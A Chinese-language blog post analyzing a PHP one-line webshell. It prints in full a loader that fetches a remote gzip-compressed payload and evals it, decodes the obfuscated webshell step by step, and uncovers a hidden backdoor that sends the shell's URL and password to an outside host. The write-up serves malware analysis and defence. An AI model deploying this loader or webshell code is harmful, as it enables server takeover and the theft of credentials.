本文记录一下一句话木马解密的过程

0x00 背景

同事发来了一个一句话木马如下,据说有箱子

<?php
set_time_limit(666);
$i = range(~,.);
s($i[27].$i[22].$i[12],
$i[22].$i[10].$i[10]
.$i[14].$i[68].$i[79].$i[79].$i[7].$i[7]
.$i[7].$i[80].$i[14].$i[22].$i[14].$i[11]
.$i[25].$i[27].$i[80].$i[27].$i[27].$i[79]
.$i[29].$i[26].$i[17].$i[21].$i[16].$i[80]
.$i[23].$i[21].$i[24]);
session_start();
function s($c,$url){
if(empty($_SESSION[PhpCode])){
	$_SESSION[PhpCode]=file_get_contents($url);
	m($_SESSION[PhpCode],$c);
	}		
}
function m($a,$c){
	$unzip=$c(103).$c(122).$c(105).$c(110);
	$unzip.=$c(102).$c(108).$c(97).$c(116).$c(101);
	$ss = “”;
	l($unzip($a),$ss);
}
function l($xx,$ss){
	$password = admin;
	$MyName   = Admin;
	@eval($xx.$ss);
}
?>

0x01 一句话木马分析

$_SESSION[‘PhpCode’]=file_get_contents($url); 可以看到是将一个远程文件内容写入$_SESSION['PhpCode']

直接将$url输出,获得远程文件地址 : http://www.phpsec.cc/admin.gif

将木马下载到本地:

➜  test wget http://www.phpsec.cc/admin.gif -O admin.php
--2018-06-21 21:54:57--  http://www.phpsec.cc/admin.gif
Resolving www.phpsec.cc... 103.40.162.128
Connecting to www.phpsec.cc|103.40.162.128|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 73640 (72K) [image/gif]
Saving to: ‘admin.php’

admin.php           100%[===================>]  71.91K   363KB/s    in 0.2s    

2018-06-21 21:54:57 (363 KB/s) - ‘admin.php’ saved [73640/73640]
➜  test cat admin.php 
\?ǎ?L???/???4M?0????(`@+zO???7??,f?T?R???y?
	..... 省略

发现是一个乱码,回到一句话木马,发现是将文件读取回来后,调用了$unzip,通过如下代码还原出函数名:

$unzip=$c(103).$c(122).$c(105).$c(110);
$unzip.=$c(102).$c(108).$c(97).$c(116).$c(101);
echo $unzip;die;

获得gzinflate函数,如此一来,我们的思路更加清晰

0x02 Webshell的解密

由于这个一句话木马是获取远程文件,然后通过gzinflate解密出来,故此也可以直接将gzinflate的执行结果输出到另外一个文件。

➜ test php 1.php > 2.php

由于2.php文件有点大,省略中间部分:

<?php
$Windows = "pr"."e"."g_"."re"."p"."l"."ace";
$Windows("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'
eJzs/Wl7G9eVLgx/Vq4r/6GMsAMiAcmagRJFRoWqgi1Hk0XJTmy5+YAASMIiARgANUTSe9ndcWIncew+mRN3hm6nkz7dHnJ6iMfkxxyBkj+dv/De995VhSpMBCVLcrqbtkigas977TWvteudTquz3qm3W51eo7k1H6wH586dOafcUIL1s+65tSC3fLxb7633Grv19Z3GbqM3r+aWP/+57XqlVu/MZ6qtZq/e7C2cv9auH1V69au9pe3e7s6yUt2udFBxZWtDNzQ9wzrj2vn85zb3mtVeo9VUzrVavfVHz87PVTqdyrXc5
..........
..........
qnZ7LO2iPjdBXPHX+87Tr213m4/8EAM3J45MtNEgSGv+bB+Lug8jJC5vFknnDcg9zpygQDpeVD8kieBcGcaHiHb57f7wUWavCnlAV0e76a4Rfp8ZvvbffaVGbB2Q5k/7NENHAWdOT50vdG2PWjhUvgP3bZsADYmE7l9XkDC3G7cnMyEKJG75x9BZ5aRHZQQv4LGP+jJHqBhZntbkSYWCxOMTLfM3v8P0Vk1MQ==
'\x29\x29\x29\x3B",".");

第二行可以看到是一个函数名preg_replace,然后通过调用函数,第一个参数携带了/.*/e,代表将所有的内容当做代码执行。

目前先要将第二个参数的十六进制字符解密出来,使用Python:

➜  test python
Python 2.7.15 (default, May  1 2018, 16:44:37) 
[GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s="\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28"
>>> s
'eval(gzuncompress(base64_decode('
>>> s="\x29\x29\x29\x3B"
>>> s
')));'
>>> exit()

很明显当前这个Webshell是通过典型的base64_decode,然后交给gzuncompress,思路很是奇特 :)

解密方法就是只需要将eval(\x65\x76\x61\x6C)改成print_r(\x70\x72\x69\x6e\x74\x5f\x72)即可。

➜  test php 2.php > 3.php

0x03 Webshell分析

在 5228 行左右:

....

if($_COOKIE['admin_envlpass'] != md5($password))
{
	ob_start();
	$MSG_TOP = $MyName;
	if(isset($_POST['envlpass']))
	{

		$cookietime = time() + 24 * 3600;
		setcookie('admin_envlpass',md5($_POST['envlpass']),$cookietime);
		if(md5($_POST['envlpass']) == md5($password)){if (strpos($serveru,"0.0")>0 or strpos($serveru,"192.168.")>0 or strpos($serveru,"localhost")>0 or ($serveru==$_COOKIE['serveru'] and $serverp==$_COOKIE['serverp'])) {die("<meta http-equiv='refresh' content='0;URL=?'>");} else {setcookie('serveru',$serveru);setcookie('serverp',$serverp);die("<meta http-equiv='refresh' content='0;URL=?'><script src='?s=get'></script>");}}
		else{$MSG_TOP = 'PASS IS FALSE'.$password;}
	}
	print_r($GLOBALS);die;
	Root_Login($MSG_TOP);
	ob_end_flush();
	exit;
}
....

直接将$GLOBALS打印出来,结果如下:

Array ( [_GET] => Array ( ) [_POST] => Array ( [envlpass] => www ) [_COOKIE] => Array ( [bdshare_firstime] => 1518158774124 [admin_envlpass] => 4eae35f1b35977a00ebd8086c259d4c9 ) [_FILES] => Array ( ) [_SERVER] => Array ( [USER] => nobody [HOME] => /var/empty [FCGI_ROLE] => RESPONDER [SCRIPT_FILENAME] => /usr/local/var/www/a.php [QUERY_STRING] => [REQUEST_METHOD] => POST [CONTENT_TYPE] => application/x-www-form-urlencoded [CONTENT_LENGTH] => 12 [SCRIPT_NAME] => /a.php [REQUEST_URI] => /a.php? [DOCUMENT_URI] => /a.php [DOCUMENT_ROOT] => /usr/local/var/www [SERVER_PROTOCOL] => HTTP/1.1 [REQUEST_SCHEME] => http [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_SOFTWARE] => nginx/1.12.2 [REMOTE_ADDR] => 127.0.0.1 [REMOTE_PORT] => 51387 [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 8080 [SERVER_NAME] => localhost [REDIRECT_STATUS] => 200 [HTTP_HOST] => 127.0.0.1:8080 [HTTP_USER_AGENT] => Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 [HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [HTTP_ACCEPT_LANGUAGE] => zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 [HTTP_ACCEPT_ENCODING] => gzip, deflate [HTTP_REFERER] => http://127.0.0.1:8080/a.php? [HTTP_COOKIE] => bdshare_firstime=1518158774124; admin_envlpass=4eae35f1b35977a00ebd8086c259d4c9 [HTTP_X_FORWARDED_FOR] => 10.74.183.12 [HTTP_CONNECTION] => keep-alive [HTTP_UPGRADE_INSECURE_REQUESTS] => 1 [HTTP_CACHE_CONTROL] => max-age=0 [HTTP_CONTENT_TYPE] => application/x-www-form-urlencoded [HTTP_CONTENT_LENGTH] => 12 [PHP_SELF] => /a.php [REQUEST_TIME_FLOAT] => 1529592983.5677 [REQUEST_TIME] => 1529592983 [argv] => Array ( ) [argc] => 0 ) [GLOBALS] => Array *RECURSION* [pgrow] => www [numeric] => [pgaction] => 127.0.0.1:8080/a.php [html] =>
"
68,67,102,8775,113,47,78
85,110,106,53,80,65,10668,109,89,119,65,122,89
9979,75,76,102,107
74,77,98,65,5189,105,98,81,112,48. 6985110
[i] => 713 [pgresult] => http://shellapi.cc/404.php?url=127.0.0.1:8080/a.php&pass=www [pgq] => aHR0cDovL3NoZWxsYXBpLmNjLzQwNC5waHA/dXJsPQ== [MSG_TOP] => PASS IS FALSE [cookietime] => 1529679383 ) 

可以很明显的找到箱子地址shellapi.cc